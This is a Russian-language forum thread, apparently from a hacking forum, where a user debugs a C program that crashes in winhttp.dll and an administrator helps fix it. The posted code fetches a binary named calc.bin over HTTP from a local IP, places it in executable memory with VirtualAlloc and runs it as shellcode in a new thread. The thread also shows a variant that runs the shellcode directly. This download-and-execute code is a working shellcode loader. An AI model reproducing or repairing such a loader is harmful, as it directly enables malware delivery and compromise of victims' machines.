Вызвано исключение по адресу (winhttp.dll)


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 095
Репутация
8 214
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
Да, создай функцию с нужным прототипом для запуска потока, эту функцию запусти в потоке, а в теле этой функции уже запусти шелл-код.)

Для запуска функции в потоке, там должен-быть нужный прототип функции, ЭТО ОЧЕНЬ ВАЖНО.

Нельзя так шелл запускать, т.е. нельзя просто буфер передавать, там по факту другой прототип будет.

Из-за этого у тебя краш видимо.)
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Да, создай функцию с нужным прототипом для запуска потока, эту функцию запусти в потоке, а в теле этой функции уже запусти шелл-код.)

Для запуска функции в потоке, там должен-быть нужный прототип функции, ЭТО ОЧЕНЬ ВАЖНО.

Нельзя так шелл запускать, т.е. нельзя просто буфер передавать, там по факту другой прототип будет.

Из-за этого у тебя краш видимо.)
Можешь показать пример , я не понимаю про что ты
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 095
Репутация
8 214
Можешь показать пример , я не понимаю про что ты
Что-то такое видимо:

Вспомогательная функция, которую нужно запустить в потоке, она запустит шелл-код:

C:
DWORD WINAPI ThreadFunc(LPVOID buffer)
{
typedef VOID (WINAPI* fnShellcodefunc)();

fnShellcodefunc pShell = (fnShellcodefunc) buffer;

pShell();

return 0;
}

Тогда код запуска потока будет таким:

Код:
hThread = CreateThread(
NULL,
0,
ThreadFunc,   // функция потока
buffer, // аргумент функции потока
0,
NULL);
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Что-то такое видимо:

Вспомогательная функция, которую нужно запустить в потоке, она запустит шелл-код:

C:
DWORD WINAPI ThreadFunc(LPVOID buffer)
{
typedef VOID (WINAPI* fnShellcodefunc)();

fnShellcodefunc pShell = (fnShellcodefunc) buffer;

pShell();

return 0;
}

Тогда код запуска потока будет таким:

Код:
hThread = CreateThread(
NULL,
0,
ThreadFunc,   // функция потока
buffer, // аргумент функции потока
0,
NULL);
это так же не отработало
Код:
#include <Windows.h>
#include <cstdio>
#include <cstdlib>
#include <string>
#include <winhttp.h>

#pragma comment(lib, "winhttp.lib")


DWORD WINAPI ThreadFunc(LPVOID lpParam);

int main()
{

    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    PBYTE pszOutBuffer;
    BOOL  bResults = FALSE;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;

    // Use WinHttpOpen to obtain a session handle.
    hSession = WinHttpOpen(L"WinHTTP Example/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);

    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect(hSession, L"192.168.222.128",
            80, 0);

    // Create an HTTP request handle.
    if (hConnect)
        hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/calc.bin",
            NULL, WINHTTP_NO_REFERER,
            WINHTTP_DEFAULT_ACCEPT_TYPES,
            0);

    // Send a request.
    if (hRequest)
        bResults = WinHttpSendRequest(hRequest,
            WINHTTP_NO_ADDITIONAL_HEADERS, 0,
            WINHTTP_NO_REQUEST_DATA, 0,
            0, 0);


    // End the request.
    if (bResults)
        bResults = WinHttpReceiveResponse(hRequest, NULL);

    // Keep checking for data until there is nothing left.
    if (!bResults)
    {
        return -1;
    }
    
    // Check for available data.
    dwSize = 0;
    if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
        printf("Error %u in WinHttpQueryDataAvailable.\n",
            GetLastError());

    pszOutBuffer = (PBYTE)malloc(dwSize);

    // Allocate space for the buffer.
    if (!pszOutBuffer)
    {
        printf("Out of memory\n");
        dwSize = 0;
    }
    // Read the data.

    if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
        dwSize, &dwDownloaded))
        printf("Error %u in WinHttpReadData.\n", GetLastError());

    // Report any errors.
    if (!bResults)
        printf("Error %d has occurred.\n", GetLastError());

    // Close any open handles.
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);
    
    PVOID buffer = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    RtlMoveMemory(buffer, pszOutBuffer, dwSize);

    HANDLE hThread = CreateThread(0, 0, ThreadFunc, buffer, 0, 0);
    if (!hThread)
        return -1;

    WaitForSingleObject(hThread, -1);

    return 0;
}

DWORD WINAPI ThreadFunc(LPVOID lpParam) {

    
    typedef VOID(WINAPI* fnShellcodefunc)();
    fnShellcodefunc pShell = (fnShellcodefunc)lpParam;

    pShell();

    return 1;

}
1705337735704.png
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 095
Репутация
8 214
А если не запускать поток, а в основном запустить шелл, тоже ошибка будет ?
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 095
Репутация
8 214
Там у потока по дефолту размер стека и т.д., может нехватает ?
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
А если не запускать поток, а в основном запустить шелл, тоже ошибка будет ?
Имеешь в виду , вот так ?
Код:
  PVOID buffer = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 
  RtlMoveMemory(buffer, pszOutBuffer, dwSize);

  typedef VOID(WINAPI* fnShellcodefunc)();
  fnShellcodefunc pShell = (fnShellcodefunc)buffer;

  pShell();
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 095
Репутация
8 214
Да.
Только видимо там задержку надо сделать, пока шелл выполняется.
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Верх Низ